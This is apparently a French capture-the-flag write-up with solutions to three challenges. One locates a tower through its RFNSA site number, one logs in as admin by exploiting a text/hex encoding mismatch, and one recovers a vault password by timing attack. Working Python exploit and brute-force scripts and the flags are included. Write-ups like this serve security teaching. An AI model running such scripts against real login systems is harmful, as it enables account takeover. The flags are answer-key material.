Catégorie: OSINT
Points: 317
Where is this tower located?
Format du flag: K17{lat,lon} avec coordonnées arrondies à 3 décimales
En zoomant sur la pancarte, on découvre la mention :
NSA Site Number: 2154?06
Un chiffre est masqué par la grille. Le numéro complet est 2154006.
Le panneau indique un site web australien : www.rfnsa.com.au
En recherchant le numéro 2154006, on trouve :
Arrondissement à 3 décimales :
Flag: K17{-33.717,150.987}
Catégorie: Crypto
Points: 200
Se connecter en admin
pour afficher le flag.
Le serveur présente une vulnérabilité due à une incohérence de format entre l'inscription et la connexion :
# À l'inscription : password = "admin" stored = (password).encode().hex() # "61646d696e" # À la connexion : input = "3631363436643639366e" check = bytes.fromhex(input) # doit donner b"61646d696e"
Cette incohérence crée une confusion entre :
Pour se connecter en admin, il faut fournir l'hex de la chaîne "61646d696e"
:
b"61646d696e".hex() = 3631363436643639366e
$ nc challenge.secso.cc 7002 2 Login: admin Password: 3631363436643639366e
L'exploit fonctionne car :
salt || "61646d696e"
(texte)b"61646d696e"
Toujours transformer le mot de passe de la même façon à l'inscription et à la connexion (pas de mélange texte/hex).
Version minimale :
import socket, re HOST, PORT = "challenge.secso.cc", 7002 pwd = "3631363436643639366e" s = socket.create_connection((HOST,PORT)) s.recv(4096); s.sendall(b"2\n") s.recv(4096); s.sendall(b"admin\n") s.recv(4096); s.sendall((pwd+"\n").encode()) out = s.recv(4096).decode() print(out) m = re.search(r"K17CTF\{[^}]+\}", out) if m: print("[FLAG]", m.group(0))
Version complète avec gestion des erreurs :
#!/usr/bin/env python3 import socket, time, sys, re HOST = "challenge.secso.cc" PORT = 7002 # calcule le "double-hex" demandé par la logique du chall # admin -> "admin".encode().hex() = "61646d696e" # password à taper = bytes("61646d696e","ascii").hex() = "3631363436643639366e" def double_hex(s: str) -> str: return bytes(s.encode().hex(), "ascii").hex() ADMIN_DHEX = double_hex("admin") # "3631363436643639366e" def recv_all_until(sock, needles=(b"(1, 2, 3)>", b"flag", b"Flag", b"Congratulations", b"Invalid"), timeout=2.0): sock.settimeout(timeout) buf = b"" t0 = time.time() while time.time() - t0 < timeout: try: chunk = sock.recv(4096) if not chunk: break buf += chunk if any(n in buf for n in needles): break except socket.timeout: break return buf def try_admin_once(verbose=True): s = socket.create_connection((HOST, PORT), timeout=5) # avale la bannière jusqu'à l'invite _ = recv_all_until(s, timeout=2.0) s.sendall(b"2\n") _ = recv_all_until(s, needles=(b"Login:",), timeout=1.0) s.sendall(b"admin\n") _ = recv_all_until(s, needles=(b"Password:",), timeout=1.0) s.sendall((ADMIN_DHEX + "\n").encode()) resp = recv_all_until(s, timeout=2.0).decode(errors="ignore") s.close() if verbose: last_lines = "\n".join(resp.splitlines()[-10:]) print("[server tail]") print(last_lines) if re.search(r"flag|Flag|Congratulations", resp): m = re.search(r"(K17\{[^}]+\}|flag\{[^}]+\}|secso\{[^}]+\})", resp) if m: print(f"FLAG: ") else: print("Succès") return True if "Invalid" in resp: return False return False def main(): print(f"Target: {HOST}:{PORT}") print(f"Using admin double-hex password: {ADMIN_DHEX}") max_tries = 12 for i in range(1, max_tries+1): print(f"\n[=] Attempt {i}/{max_tries}") try: ok = try_admin_once(verbose=(i == 1 or i % 3 == 0)) if ok: print("[+] Done.") return except Exception as e: print(f"[!] Attempt {i} error: {e}") time.sleep(0.3) print("No luck after multiple attempts ") print(" Relance le script ") if __name__ == "__main__": main()
Flag: K17CTF{s4Lt_4nD_p3pper_is_ov3rr4t3d}
Catégorie: Web
Points: 250
Trouvez le mot de passe du vault en exploitant une vulnérabilité de timing.
Le serveur présente une vulnérabilité de timing attack :
L'attaque fonctionne car le serveur vérifie le mot de passe caractère par caractère :
# Exemple de progression des délais : H -> 200ms (bon premier caractère) Ha -> 230ms (bon deuxième caractère) Hac -> 260ms (bon troisième caractère) Hack -> 290ms (mot complet correct)
import requests, string url = "https://vault.secso.cc/" charset = string.ascii_letters + string.digits + "{}_" known = "" while True: best_char, best_time = None, -1 for c in charset: test = known + c r = requests.get(url, params={"password": test}) text = r.text try: t = float(text.split("Response time:")[1].split("ms")[0].strip()) except: t = 0.0 if t > best_time: best_char, best_time = c, t if best_time <= 0: break known += best_char print("[+] Found so far:", known)
On peut aussi utiliser Burp Intruder pour visualiser les différences de timing :